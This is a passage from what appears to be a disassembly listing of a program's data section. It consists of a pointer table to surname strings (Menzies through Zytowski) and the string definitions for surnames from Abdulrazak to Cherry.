dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_4453E0o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .data:004453E4o align 4 aAdams db 'Adams',0 ; DATA XREF: .data:004453E8o align 4 aAddison db 'Addison',0 ; DATA XREF: .data:off_4453ECo aAdelstein db 'Adelstein',0 ; DATA XREF: .data:004453F0o align 10h aAdibe db 'Adibe',0 ; DATA XREF: .data:004453F4o align 4 aAdorno db 'Adorno',0 ; DATA XREF: .data:004453F8o align 10h aAhlers db 'Ahlers',0 ; DATA XREF: .data:004453FCo align 4 aAlavi db 'Alavi',0 ; DATA XREF: .data:00445400o align 10h aAlcorn db 'Alcorn',0 ; DATA XREF: .data:00445404o align 4 aAlda db 'Alda',0 ; DATA XREF: .data:00445408o align 10h aAleks db 'Aleks',0 ; DATA XREF: .data:0044540Co align 4 aAllison db 'Allison',0 ; DATA XREF: .data:00445410o aAlongi db 'Alongi',0 ; DATA XREF: .data:00445414o align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: .data:00445418o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0044541Co aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:00445420o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .data:00445424o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:00445428o align 10h aAmeer db 'Ameer',0 ; DATA XREF: .data:0044542Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: .data:00445430o align 10h aAnand db 'Anand',0 ; DATA XREF: .data:00445434o align 4 aAndel db 'Andel',0 ; DATA XREF: .data:00445438o align 10h aAndo db 'Ando',0 ; DATA XREF: .data:0044543Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .data:00445440o align 4 aAndron db 'Andron',0 ; DATA XREF: .data:00445444o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:00445448o align 4 aAnsley db 'Ansley',0 ; DATA XREF: .data:0044544Co align 10h aAnthony db 'Anthony',0 ; DATA XREF: .data:00445450o aAntos db 'Antos',0 ; DATA XREF: .data:00445454o align 10h aArbia db 'Arbia',0 ; DATA XREF: .data:00445458o align 4 aArduini db 'Arduini',0 ; DATA XREF: .data:0044545Co aArellano db 'Arellano',0 ; DATA XREF: .data:00445460o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .data:00445464o align 4 aArjas db 'Arjas',0 ; DATA XREF: .data:00445468o align 10h aArky db 'Arky',0 ; DATA XREF: .data:0044546Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: .data:00445470o align 10h aAugustus db 'Augustus',0 ; DATA XREF: .data:00445474o align 4 aAurelius db 'Aurelius',0 ; DATA XREF: .data:00445478o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0044547Co aAxworthy db 'Axworthy',0 ; DATA XREF: .data:00445480o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:00445484o aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:00445488o aAyling db 'Ayling',0 ; DATA XREF: .data:0044548Co align 4 aAzima db 'Azima',0 ; DATA XREF: .data:00445490o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:00445494o align 4 aBackus db 'Backus',0 ; DATA XREF: .data:00445498o align 10h aBady db 'Bady',0 ; DATA XREF: .data:0044549Co align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: .data:004454A0o aBagnold db 'Bagnold',0 ; DATA XREF: .data:004454A4o aBailar db 'Bailar',0 ; DATA XREF: .data:004454A8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:004454ACo align 4 aBaleja db 'Baleja',0 ; DATA XREF: .data:004454B0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .data:004454B4o align 10h aBallew db 'Ballew',0 ; DATA XREF: .data:004454B8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .data:004454BCo align 10h aBanta db 'Banta',0 ; DATA XREF: .data:004454C0o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: .data:004454C4o align 4 aBarajas db 'Barajas',0 ; DATA XREF: .data:004454C8o aBaranczak db 'Baranczak',0 ; DATA XREF: .data:004454CCo align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: .data:004454D0o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .data:004454D4o aBarbetti db 'Barbetti',0 ; DATA XREF: .data:004454D8o align 4 aBarneson db 'Barneson',0 ; DATA XREF: .data:004454DCo align 4 aBarnett db 'Barnett',0 ; DATA XREF: .data:004454E0o aBarriola db 'Barriola',0 ; DATA XREF: .data:004454E4o align 4 aBarry db 'Barry',0 ; DATA XREF: .data:004454E8o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:004454ECo aBartolome db 'Bartolome',0 ; DATA XREF: .data:004454F0o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .data:004454F4o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: .data:004454F8o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .data:004454FCo align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .data:00445500o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .data:00445504o align 10h aBayles db 'Bayles',0 ; DATA XREF: .data:00445508o align 4 aBayo db 'Bayo',0 ; DATA XREF: .data:0044550Co align 10h aBeacon db 'Beacon',0 ; DATA XREF: .data:00445510o align 4 aBeal db 'Beal',0 ; DATA XREF: .data:00445514o align 10h aBean db 'Bean',0 ; DATA XREF: .data:00445518o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .data:0044551Co aBeder db 'Beder',0 ; DATA XREF: .data:00445520o align 4 aBedford db 'Bedford',0 ; DATA XREF: .data:00445524o aBehenna db 'Behenna',0 ; DATA XREF: .data:00445528o aBelanger db 'Belanger',0 ; DATA XREF: .data:0044552Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:00445530o align 10h aBelfer db 'Belfer',0 ; DATA XREF: .data:00445534o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:00445538o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .data:0044553Co align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:00445540o align 10h aBellini db 'Bellini',0 ; DATA XREF: .data:00445544o aBelloc db 'Belloc',0 ; DATA XREF: .data:00445548o align 10h aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0044554Co align 10h aBergson db 'Bergson',0 ; DATA XREF: .data:00445550o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:00445554o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .data:00445558o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .data:0044555Co align 10h aBernston db 'Bernston',0 ; DATA XREF: .data:00445560o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:00445564o align 4 aBetti db 'Betti',0 ; DATA XREF: .data:00445568o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .data:0044556Co aBiagioli db 'Biagioli',0 ; DATA XREF: .data:00445570o align 4 aBickel db 'Bickel',0 ; DATA XREF: .data:00445574o align 10h aBinion db 'Binion',0 ; DATA XREF: .data:00445578o align 4 aBir db 'Bir',0 ; DATA XREF: .data:0044557Co aBisema db 'Bisema',0 ; DATA XREF: .data:00445580o align 4 aBisho db 'Bisho',0 ; DATA XREF: .data:00445584o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:00445588o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0044558Co align 4 aBlagg db 'Blagg',0 ; DATA XREF: .data:00445590o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .data:00445594o align 4 aBlanke db 'Blanke',0 ; DATA XREF: .data:00445598o align 10h aBliss db 'Bliss',0 ; DATA XREF: .data:0044559Co align 4 aBlizard db 'Blizard',0 ; DATA XREF: .data:004455A0o aBloch db 'Bloch',0 ; DATA XREF: .data:004455A4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:004455A8o aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:004455ACo align 10h aBloxham db 'Bloxham',0 ; DATA XREF: .data:004455B0o aBlyth db 'Blyth',0 ; DATA XREF: .data:004455B4o align 10h aBolger db 'Bolger',0 ; DATA XREF: .data:004455B8o align 4 aBolick db 'Bolick',0 ; DATA XREF: .data:004455BCo align 10h aBollinger db 'Bollinger',0 ; DATA XREF: .data:004455C0o align 4 aBologna db 'Bologna',0 ; DATA XREF: .data:004455C4o aBoner db 'Boner',0 ; DATA XREF: .data:004455C8o align 4 aBonham db 'Bonham',0 ; DATA XREF: .data:004455CCo align 4 aBoniface db 'Boniface',0 ; DATA XREF: .data:004455D0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: .data:004455D4o align 4 aBook db 'Book',0 ; DATA XREF: .data:004455D8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:004455DCo align 10h aBoone db 'Boone',0 ; DATA XREF: .data:004455E0o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .data:004455E4o align 4 aBorack db 'Borack',0 ; DATA XREF: .data:004455E8o align 4 aBorden db 'Borden',0 ; DATA XREF: .data:004455ECo align 4 aBossi db 'Bossi',0 ; DATA XREF: .data:004455F0o align 4 aBothman db 'Bothman',0 ; DATA XREF: .data:004455F4o aBotosh db 'Botosh',0 ; DATA XREF: .data:004455F8o align 4 aBoudin db 'Boudin',0 ; DATA XREF: .data:004455FCo align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .data:00445600o aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:00445604o align 4 aBowers db 'Bowers',0 ; DATA XREF: .data:00445608o align 10h aBoxer db 'Boxer',0 ; DATA XREF: .data:0044560Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .data:00445610o align 4 aBoyes db 'Boyes',0 ; DATA XREF: .data:00445614o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .data:00445618o aBoym db 'Boym',0 ; DATA XREF: .data:0044561Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: .data:00445620o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .data:00445624o align 10h aBradac db 'Bradac',0 ; DATA XREF: .data:00445628o align 4 aBradach db 'Bradach',0 ; DATA XREF: .data:0044562Co aBrecht db 'Brecht',0 ; DATA XREF: .data:00445630o align 4 aBreed db 'Breed',0 ; DATA XREF: .data:00445634o align 10h aBrenan db 'Brenan',0 ; DATA XREF: .data:00445638o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .data:0044563Co aBrewer db 'Brewer',0 ; DATA XREF: .data:00445640o align 4 aBrewer_0 db 'Brewer',0 ; DATA XREF: .data:00445644o align 10h aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:00445648o align 4 aBridges db 'Bridges',0 ; DATA XREF: .data:0044564Co aBrinton db 'Brinton',0 ; DATA XREF: .data:00445650o aBritz db 'Britz',0 ; DATA XREF: .data:00445654o align 4 aBroca db 'Broca',0 ; DATA XREF: .data:00445658o align 4 aBrook db 'Brook',0 ; DATA XREF: .data:0044565Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .data:00445660o aBuchan db 'Buchan',0 ; DATA XREF: .data:00445664o align 4 aBudding db 'Budding',0 ; DATA XREF: .data:00445668o aBullard db 'Bullard',0 ; DATA XREF: .data:0044566Co aBunton db 'Bunton',0 ; DATA XREF: .data:00445670o align 4 aBurden db 'Burden',0 ; DATA XREF: .data:00445674o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .data:00445678o align 4 aBurke db 'Burke',0 ; DATA XREF: .data:0044567Co align 4 aBurridge db 'Burridge',0 ; DATA XREF: .data:00445680o align 10h aBusetta db 'Busetta',0 ; DATA XREF: .data:00445684o aByatt db 'Byatt',0 ; DATA XREF: .data:00445688o align 10h aByerly db 'Byerly',0 ; DATA XREF: .data:0044568Co align 4 aByrd db 'Byrd',0 ; DATA XREF: .data:00445690o align 10h aCage db 'Cage',0 ; DATA XREF: .data:00445694o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .data:00445698o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: .data:0044569Co align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:004456A0o align 4 aCanley db 'Canley',0 ; DATA XREF: .data:004456A4o align 10h aCapanni db 'Capanni',0 ; DATA XREF: .data:004456A8o aCaperton db 'Caperton',0 ; DATA XREF: .data:004456ACo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:004456B0o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:004456B4o align 4 aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:004456B8o align 4 aCapursi db 'Capursi',0 ; DATA XREF: .data:004456BCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:004456C0o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:004456C4o aCarlin db 'Carlin',0 ; DATA XREF: .data:004456C8o align 4 aCarlos db 'Carlos',0 ; DATA XREF: .data:004456CCo align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .data:004456D0o aCarmichael db 'Carmichael',0 ; DATA XREF: .data:004456D4o align 10h aCaroti db 'Caroti',0 ; DATA XREF: .data:004456D8o align 4 aCarper db 'Carper',0 ; DATA XREF: .data:004456DCo align 10h aCartmill db 'Cartmill',0 ; DATA XREF: .data:004456E0o align 4 aCascio db 'Cascio',0 ; DATA XREF: .data:004456E4o align 4 aCase db 'Case',0 ; DATA XREF: .data:004456E8o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .data:004456ECo align 4 aCastelda db 'Castelda',0 ; DATA XREF: .data:004456F0o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:004456F4o align 4 aCavell db 'Cavell',0 ; DATA XREF: .data:004456F8o align 4 aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:004456FCo align 10h aCerioli db 'Cerioli',0 ; DATA XREF: .data:00445700o aChapman db 'Chapman',0 ; DATA XREF: .data:00445704o aCharles db 'Charles',0 ; DATA XREF: .data:00445708o aCheang db 'Cheang',0 ; DATA XREF: .data:0044570Co align 10h aCherry db 'Cherry',0 